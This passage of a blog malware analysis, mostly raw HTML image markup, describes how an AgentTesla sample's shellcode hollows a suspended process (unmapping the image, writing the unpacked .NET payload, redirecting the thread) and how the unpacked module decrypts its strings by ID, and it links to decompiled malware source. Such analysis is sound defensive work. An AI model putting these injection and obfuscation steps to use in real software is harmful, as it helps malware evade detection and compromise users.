https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg" width="200" height="133" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:133,&quot;width&quot;:200,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb602Pa_RdgcQzuv0ncMIJfU7_Fd5bZ2THMNolNhW2l0W6ogD4xRxk4CqcoonOe-fgP8UipP5siZNSHKHD547EEAMaNkB45b-C0n_G_KZz2Ip47NJ7BcZgjCm60lHjJwg9xD4d46VkI8s/s200/callwindowproc.jpg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><h4>2.2. Hollow Process</h4><p>The shellcode creates a new suspended process from the same executable to perform hollow process:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png" width="400" height="380" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:380,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39wWt6nN3I6g-ivAGH75uYUIxG8YVq5ox7tAx-_1kGBfJNOTVsz_Ip-X4TPzcPhTS_L3mtWQwHz8MejECYf2sKNkRrw3xl660CvpW-rFz6P8BY0lsagk4a5TJdFU_q-rnKUcp8GZ-I1I/s400/hollow_process.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p>In summary, the shellcode creates a new suspended process, calls NtUnmapViewOfSection to unmap the original PE image from memory, then allocates memory for writting the unpacked PE image (VirtualAllocEx), and copies the unpacked PE (mapping each section at the corresponding in memory rva) by calling WriteProcessMemory (btw, the injected PE is .Net PE, the unpacked agenttesla). Finally it calls SetThreadContext to set EIP = RtlUserThreadStart, and ResumeThread.</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png" width="329" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:329,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgahKDHFufuaW0tA9SREt8utT99hFopKa2wSclCLne6aHDW59FeaMMAfLL4xq61oCjnOewPSJ9ozKHiylr7n3fowJt6hTdRd5NS8zE0ASz_lZc5lJKF23gCDHt9B0xV4-_h6mONDVbYS6Y/s400/set_thread_context.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3>3. Unpacked Module</h3><h4>3.1. Strings Decryptor</h4><p><br> The malware contains an array of encrypted strings (it is object_0 at <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/AgentTesla_SMTP_Variant_05_2019/AGENTTESLA/-Module-.cs">this source</a>):<br><br> <br> <br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png" width="182" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:182,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyfcBRmvFhAk7MMpGKwP-ly_4Dq7M8IxS8Tjr7E4bPgZGa1PEW-CLldyhOYE8l-gwwRyUcWD4u2fFdpfOtHabO3SJr8yGbaQAMdFpErYqioVK8Q0Mh-4vbz6fgFi6qYC9-p2ruLxvkjw/s400/enc_strings.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> <br> Each time the malware needs a string, it calls a function that receives as argument an ID for the needed string:<br><br> <br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png" width="400" height="51" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:51,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uVhW96Be3M7GH8ixtFkdEhwIGUQFUtQ2YZpaFuT80dbMIscPfztXNfeIxexOZ5aSk1p6-f0l2MBI-G9Vb5XscXc789LkzQKRHVd1l-zZp0p12kiv85Q0PyNo3YRXmwPjOQeeV-ScShE/s400/strdecryptor1.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> <br>3.1.1. Strings Index Mixer<br><br> <br> The string decryptor "smethod_strings_decryptor" doesn't receive a index into the array of encrypted strings as argument, it receives a kind of ID for the strings:<br><br> <br> <br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 848w, 